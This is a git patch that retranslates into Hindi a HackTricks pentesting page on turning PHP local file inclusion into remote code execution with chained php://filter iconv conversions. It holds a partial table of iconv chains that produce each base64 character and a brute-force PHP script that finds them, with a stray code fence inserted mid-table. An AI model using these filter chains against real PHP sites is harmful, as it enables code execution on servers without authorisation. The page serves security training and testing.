From 90d8a10420ca16bffb1e5fd791d34d7b21434e50 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 24 Dec 2023 19:25:37 +0000 Subject: [PATCH] Translated ['pentesting-web/file-inclusion/lfi2rce-via-php-filters.md'] --- .../file-inclusion/lfi2rce-via-php-filters.md | 159 +++++------------- 1 file changed, 40 insertions(+), 119 deletions(-) diff --git a/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 01e5e8465..e73c630b9 100644 --- a/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -1,43 +1,50 @@ -# LFI2RCE द्वारा PHP फ़िल्टर +# LFI2RCE के माध्यम से PHP फिल्टर्स
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) -* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें**. -* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपनी जानकारी साझा करें।** +* क्या आप **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **अपनी हैकिंग ट्रिक्स साझा करें, [**hacktricks repo**](https://github.com/carlospolop/hacktricks) और [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके.**
## परिचय -इस [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) में बताया गया है कि आप **php फ़िल्टर का उपयोग करके विचारशील सामग्री उत्पन्न कर सकते हैं**। जिसका अर्थ है कि आप **फ़ाइल में लिखने की आवश्यकता नहीं होती है** और आप **इंजेक्शन के लिए विचारशील php कोड उत्पन्न कर सकते हैं**। +यह [**लेखन**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताता है कि आप **php फिल्टर्स का उपयोग करके मनमानी सामग्री को आउटपुट के रूप में उत्पन्न कर सकते हैं**. जिसका मूल रूप से यह मतलब है कि आप **मनमानी php कोड उत्पन्न कर सकते हैं** बिना इसे फाइल में लिखे. -मूल उद्देश्य इस स्क्रिप्ट का है: +मूल रूप से स्क्रिप्ट का लक्ष्य है **Base64 स्ट्रिंग को उत्पन्न करना** फाइल की **शुरुआत में** जो कि **अंत में डिकोड की जाएगी** और वांछित पेलोड प्रदान करेगी जिसे `include` द्वारा **व्याख्या की जाएगी**. -* फ़ाइल की **शुरुआत में** एक Base64 स्ट्रिंग उत्पन्न करना, जिसे **अंत में डिकोड किया जाएगा** और जिससे आवश्यक पेलोड प्राप्त होगा, जिसे `include` द्वारा **व्याख्या किया जाएगा**। +इसे करने के आधार हैं: -इसे करने के लिए आवश्यकताएं हैं: +* `convert.iconv.UTF8.CSISO2022KR` हमेशा स्ट्रिंग के शुरुआत में `\x1b$)C` जोड़ देगा +* `convert.base64-decode` बहुत सहिष्णु है, यह मूल रूप से उन वर्णों को अनदेखा कर देगा जो मान्य base64 नहीं हैं. यदि यह अप्रत्याशित "=" पाता है तो कुछ समस्याएं होती हैं लेकिन उन्हें `convert.iconv.UTF8.UTF7` फिल्टर के साथ हटाया जा सकता है. -* `convert.iconv.UTF8.CSISO2022KR` हमेशा स्ट्रिंग के आगे `\x1b$)C` जोड़ता है -* `convert.base64-decode` अत्यंत सहिष्णु है, यह मूल रूप से केवल वैध base64 नहीं होने वाले किसी भी अक्षरों को अनदेखा करेगा। यदि यह अप्रत्याशित "=" ढूंढ़ता है तो इसे `convert.iconv.UTF8.UTF7` फ़िल्टर के साथ हटा सकते हैं। +मनमानी सामग्री उत्पन्न करने का लूप है: -विचारशील सामग्री उत्पन्न करने के लिए लूप है: - -1. ऊपर वर्णित तरीके से हमारी स्ट्रिंग के आगे `\x1b$)C` जोड़ें -2. हमारे आदि base64 को अपूर्ण छोड़ने और हमारे base64 के अगले हिस्से को base64-संकेतित php कोड का अगला हिस्सा होने वाले स्ट्रिंग में परिवर्तित करने वाली कुछ iconv परिवर्तनों का लागू करें -3. स्ट्रिंग को base64-डिकोड और base64-एनकोड करें, जिससे कि बीच में कोई कचरा हट जाएगा -4. यदि हमारे बनाना चाहते हैं base64 अभी तक पूरा नहीं हुआ है, तो 1 पर वापस जाएं +1. ऊपर वर्णित अनुसार हमारी स्ट्रिंग के शुरुआत में `\x1b$)C` जोड़ें +2. कुछ ऐसे iconv परिवर्तनों को लागू करें जो हमारे प्रारंभिक base64 को अक्षुण्ण रखते हैं और जो हमने अभी जोड़ा है उसे किसी ऐसे स्ट्रिंग में परिवर्तित करते हैं जहां केवल मान्य base64 वर्ण हमारे base64-एन्कोडेड php कोड का अगला भाग है +3. स्ट्रिंग को base64-डिकोड और base64-एन्कोड करें जो किसी भी कचरे को बीच में हटा देगा +4. यदि base64 जो हम निर्माण करना चाहते हैं अभी तक समाप्त नहीं हुआ है तो 1 पर वापस जाएं 5. हमारे php कोड प्राप्त करने के लिए base64-डिकोड करें {% hint style="warning" %} -**इंकलूड** आमतौर पर चीजें करते हैं जैसे कि फ़ाइल के अंत में ".php" जोड़ना, जो इसका उपयोग कठिन बना सकता है क्योंकि आपको एक .php फ़ाइल ढूंढ़नी होगी जिसकी सामग्री इस उत्पादन को नष्ट नहीं करती है... या आप **बस `php://temp` का उपयोग कर सकते हैं** क्योंकि इसमें **नाम में कुछ भी जोड़ा जा सकता है** (जैसे +".php") और यह उत्पादन को काम करने देगा! +**Includes** आमतौर पर फाइल के अंत में ".php" **जोड़ने** जैसी चीजें करते हैं, जो इसका शोषण करना मुश्किल कर सकता है क्योंकि आपको ऐसी .php फाइल की आवश्यकता होगी जिसकी सामग्री शोषण को नष्ट न करे... या आप **सिर्फ `php://temp` संसाधन का उपयोग कर सकते हैं** क्योंकि इसमें नाम में कुछ भी जोड़ा जा सकता है (जैसे +".php") और यह अभी भी शोषण को काम करने की अनुमति देगा! {% endhint %} -## पूर्ण स्क्रिप्ट +## परिणामी डेटा में सफ़िक्स भी कैसे जोड़ें + +[**यह लेखन बताता है**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) कि आप परिणामी स्ट्रिंग में सफ़िक्स जोड़ने के लिए PHP फिल्टर्स का दुरुपयोग कैसे कर सकते हैं. + +## स्वचालित उपकरण + +* [https://github.com/synacktiv/php\_filter\_chain\_generator](https://github.com/synacktiv/php\_filter\_chain\_generator) +* [https://github.com/ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) (सफ़िक्स जोड़ सकते हैं) + +## पूरी स्क्रिप्ट ```python import requests @@ -99,7 +106,7 @@ print(r.text) ``` ### सुधार -पिछला स्क्रिप्ट उस पेलोड के लिए आवश्यक बेस64 वर्णों की सीमा में है। इसलिए, मैंने अपना खुद का स्क्रिप्ट बनाया है जो **सभी बेस64 वर्णों को ब्रूटफोर्स करता है**: +पिछली स्क्रिप्ट केवल उस पेलोड के लिए आवश्यक base64 अक्षरों तक सीमित है। इसलिए, मैंने अपनी खुद की स्क्रिप्ट बनाई है जो **सभी base64 अक्षरों का bruteforce करती है**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -135,6 +142,7 @@ conversions = { 'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE', 'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284', 'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR', +```markdown 'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE', 'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399', 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', @@ -167,16 +175,15 @@ conversions = { '+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4', '=': '' } -यहां एक **स्क्रिप्ट** है जो प्रत्येक b64 अक्षर उत्पन्न करने वाले एनकोडिंग्स को प्राप्त करने के लिए है: +``` +यहाँ प्रत्येक b64 अक्षर को उत्पन्न करने वाले एन्कोडिंग्स प्राप्त करने के लिए **स्क्रिप्ट** है: ```php 0) { -echo "Combination found for letter $cleaned: "; +echo "अक्षर $cleaned के लिए संयोजन मिला: "; array_push($known, $cleaned); echo "$conv_str\n"; if (count($known) == 64){ -echo "All found\n"; +echo "सभी मिल गए\n"; exit(0); } } @@ -253,91 +259,6 @@ find_vals($init); } ?> ``` -```php -$init = " "; -$known = array(); - - -function get_tranform($val, $convs){ -foreach($convs as $conv){ -$val = @iconv($conv[0], $conv[1], $val); -} -return $val; -} - - -function test_value($val, $convs){ -global $known; - -$cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val); - -if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){ -$re_check = get_tranform("r", $convs); -$cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check); -if ($cleaned2 === $cleaned){ - -$conv_str = ""; -foreach($convs as $conv){ -$conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|"; -} -$conv_str = substr_replace($conv_str ,"", -1); - -$value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp"); - -if (strlen($value) > 0) { -echo "Combination found for letter $cleaned: "; -array_push($known, $cleaned); -echo "$conv_str\n"; - -if (count($known) == 64){ -echo "All found\n"; -exit(0); -} -} -} -} -} - -function find_vals($init_val) { -global $convs; - -$convs_used = array(); -$current_val = iconv("UTF8", "CSISO2022KR", $init_val); -array_push($convs_used, array("UTF8", "CSISO2022KR")); - -$current_val2 = ""; - -for ($c = 0; $c < 5; $c++){ -$conv1 = $convs[array_rand($convs, 1)]; -$conv2 = $convs[array_rand($convs, 1)]; - -if ($conv1 === $conv2){ -continue; -} - -$new_conv = array($conv1, $conv2); -array_push($convs_used, $new_conv); - -$current_val2 = get_tranform($current_val, array($new_conv)); - -if ($current_val === $current_val2){ -continue; -} - -$current_val = $current_val2; -test_value($current_val, $convs_used); -} -} - -while(true){ -find_vals($init); -} -?> -``` -## उपकरण - -* [https://github.com/synacktiv/php\_filter\_chain\_generator](https://github.com/synacktiv/php\_filter\_chain\_generator) - ## अधिक संदर्भ * [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) @@ -346,10 +267,10 @@ find_vals($init); ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की अनुमति** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह -* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**। +* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जाँच करें! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का +* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) +* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **अपनी हैकिंग ट्रिक्स साझा करें, [**hacktricks repo**](https://github.com/carlospolop/hacktricks) और [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके.**